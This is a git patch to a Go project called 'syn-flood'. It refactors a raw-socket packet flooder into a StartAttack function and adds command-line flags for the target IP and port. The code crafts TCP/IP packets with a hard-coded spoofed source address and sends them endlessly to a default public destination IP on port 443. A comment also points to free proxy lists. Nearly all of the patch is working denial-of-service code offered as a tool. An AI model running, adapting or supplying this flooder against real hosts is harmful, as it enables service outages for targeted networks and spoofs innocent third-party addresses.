From 580054039623eac0e05c785be050aa1b78bbd689 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Wed, 7 Apr 2021 23:24:21 +0300 Subject: [PATCH] seperate main function --- cmd/syn-flood/main.go | 99 +++++-------------------------------------- go.mod | 3 ++ go.sum | 39 +++++++++++++++++ pkg/raw/raw.go | 98 +++++++++++++++++++++++++++++++++++++++++- 4 files changed, 149 insertions(+), 90 deletions(-) diff --git a/cmd/syn-flood/main.go b/cmd/syn-flood/main.go index 914d01a..de4d9ed 100644 --- a/cmd/syn-flood/main.go +++ b/cmd/syn-flood/main.go @@ -2,99 +2,20 @@ package main import ( "github.com/bilalcaliskan/syn-flood/pkg/raw" - "github.com/google/gopacket" - "github.com/google/gopacket/layers" - "golang.org/x/net/ipv4" - "log" - "net" + flag "github.com/spf13/pflag" ) -func init() { +var ( + dstIpStr string + dstPort int +) +func init() { + flag.StringVar(&dstIpStr, "dstIpStr", "213.238.175.187", "Provide public ip of the destination") + flag.IntVar(&dstPort, "dstPort", 443, "Provide reachable port of the destination") + flag.Parse() } func main() { - // https://www.programmersought.com/article/74831586115/ - // https://github.com/rootVIII/gosynflood - // https://golangexample.com/repeatedly-send-crafted-tcp-syn-packets-with-raw-sockets/ - - - // https://pkg.go.dev/github.com/google/gopacket - // https://github.com/david415/HoneyBadger/blob/021246788e58cedf88dee75ac5dbf7ae60e12514/packetSendTest.go - // free proxies -> https://www.sslproxies.org/ - var srcIp, dstIp net.IP - srcIpStr := "117.58.245.114" - dstIpStr := "213.238.175.187" - - srcIp = net.ParseIP(srcIpStr).To4() - dstIp = net.ParseIP(dstIpStr).To4() - - // build raw/ip packet - packet := raw.CreatePacket(srcIp, dstIp) - - srcPort := layers.TCPPort(666) - dstPort := layers.TCPPort(443) - tcp := layers.TCP{ - SrcPort: srcPort, - DstPort: dstPort, - Window: 1505, - Urgent: 0, - Seq: 11050, - Ack: 0, - ACK: false, - SYN: false, - FIN: false, - RST: false, - URG: false, - ECE: false, - CWR: false, - NS: false, - PSH: false, - } - - opts := gopacket.SerializeOptions{ - FixLengths: true, - ComputeChecksums: true, - } - - err := tcp.SetNetworkLayerForChecksum(&packet) - if err != nil { - panic(err) - } - - packetHeaderBuf := gopacket.NewSerializeBuffer() - err = packet.SerializeTo(packetHeaderBuf, opts) - if err != nil { - panic(err) - } - packetHeader, err := ipv4.ParseHeader(packetHeaderBuf.Bytes()) - if err != nil { - panic(err) - } - - tcpPayloadBuf := gopacket.NewSerializeBuffer() - payload := gopacket.Payload("meowmeowmeowasdfasdfasdf") - - err = gopacket.SerializeLayers(tcpPayloadBuf, opts, &tcp, payload) - if err != nil { - panic(err) - } - // XXX end of packet creation - - // XXX send packet - var packetConn net.PacketConn - var rawConn *ipv4.RawConn - packetConn, err = net.ListenPacket("ip4:tcp", "127.0.0.1") - if err != nil { - panic(err) - } - rawConn, err = ipv4.NewRawConn(packetConn) - if err != nil { - panic(err) - } - - for { - err = rawConn.WriteTo(packetHeader, tcpPayloadBuf.Bytes(), nil) - log.Printf("packet of length %d sent!\n", len(tcpPayloadBuf.Bytes()) + len(packetHeaderBuf.Bytes())) - } + raw.StartAttack(dstIpStr, dstPort) } \ No newline at end of file diff --git a/go.mod b/go.mod index f4e16c2..229e407 100644 --- a/go.mod +++ b/go.mod @@ -4,5 +4,8 @@ go 1.16 require ( github.com/google/gopacket v1.1.19 + github.com/spf13/pflag v1.0.5 + go.uber.org/multierr v1.6.0 // indirect + go.uber.org/zap v1.16.0 // indirect golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 ) diff --git a/go.sum b/go.sum index e2db200..bedb2d9 100644 --- a/go.sum +++ b/go.sum @@ -1,9 +1,38 @@ +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= +go.uber.org/zap v1.16.0 h1:uFRZXykJGK9lLY4HtgSw44DnIcAM+kRBP7x5m+NpAOM= +go.uber.org/zap v1.16.0/go.mod h1:MA8QOfq0BHJwdXa996Y4dYkAqRKB8/1K1QMMZVaNZjQ= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 h1:4nGaVu0QrbjT/AK2PRLuQfQuh6DJve+pELhqTdAj3x0= @@ -18,5 +47,15 @@ golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9sn golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= diff --git a/pkg/raw/raw.go b/pkg/raw/raw.go index f18b2ff..f6e4f36 100644 --- a/pkg/raw/raw.go +++ b/pkg/raw/raw.go @@ -1,15 +1,111 @@ package raw import ( + "github.com/google/gopacket" "github.com/google/gopacket/layers" + "golang.org/x/net/ipv4" + "log" "net" ) -func CreatePacket(srcIp, dstIp net.IP) layers.IPv4 { +func StartAttack(dstIpStr string, dstPort int) { + counter := 1 + for { + // https://www.programmersought.com/article/74831586115/ + // https://github.com/rootVIII/gosynflood + // https://golangexample.com/repeatedly-send-crafted-tcp-syn-packets-with-raw-sockets/ + + + // https://pkg.go.dev/github.com/google/gopacket + // https://github.com/david415/HoneyBadger/blob/021246788e58cedf88dee75ac5dbf7ae60e12514/packetSendTest.go + // free proxies -> https://www.sslproxies.org/ + + var srcIp, dstIp net.IP + srcIpStr := "117.58.245.114" + + srcIp = net.ParseIP(srcIpStr).To4() + dstIp = net.ParseIP(dstIpStr).To4() + + // build raw/ip packet + packet := createPacket(srcIp, dstIp) + tcp := layers.TCP{ + SrcPort: layers.TCPPort(counter), + DstPort: layers.TCPPort(dstPort), + Window: 1505, + Urgent: 0, + Seq: 11050, + Ack: 0, + ACK: false, + SYN: false, + FIN: false, + RST: false, + URG: false, + ECE: false, + CWR: false, + NS: false, + PSH: false, + } + counter++ + + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + + err := tcp.SetNetworkLayerForChecksum(&packet) + if err != nil { + panic(err) + } + + packetHeaderBuf := gopacket.NewSerializeBuffer() + err = packet.SerializeTo(packetHeaderBuf, opts) + if err != nil { + panic(err) + } + packetHeader, err := ipv4.ParseHeader(packetHeaderBuf.Bytes()) + if err != nil { + panic(err) + } + + tcpPayloadBuf := gopacket.NewSerializeBuffer() + payload := gopacket.Payload("meowmeowmeowasdfasdfasdfasdfsdffdsdsfdsfdsfdfs") + + err = gopacket.SerializeLayers(tcpPayloadBuf, opts, &tcp, payload) + if err != nil { + panic(err) + } + // XXX end of packet creation + + // XXX send packet + var packetConn net.PacketConn + var rawConn *ipv4.RawConn + packetConn, err = net.ListenPacket("ip4:tcp", "127.0.0.1") + if err != nil { + panic(err) + } + rawConn, err = ipv4.NewRawConn(packetConn) + if err != nil { + panic(err) + } + + err = rawConn.WriteTo(packetHeader, tcpPayloadBuf.Bytes(), nil) + log.Printf("packet of length %d sent!\n", len(tcpPayloadBuf.Bytes()) + len(packetHeaderBuf.Bytes())) + } +} + +func createPacket(srcIp, dstIp net.IP) layers.IPv4 { return layers.IPv4{ SrcIP: srcIp, DstIP: dstIp, Version: 4, TTL: 64, } +} + +func getRandomPort() int { + return 0 +} + +func getRandomPayload() []byte { + return nil } \ No newline at end of file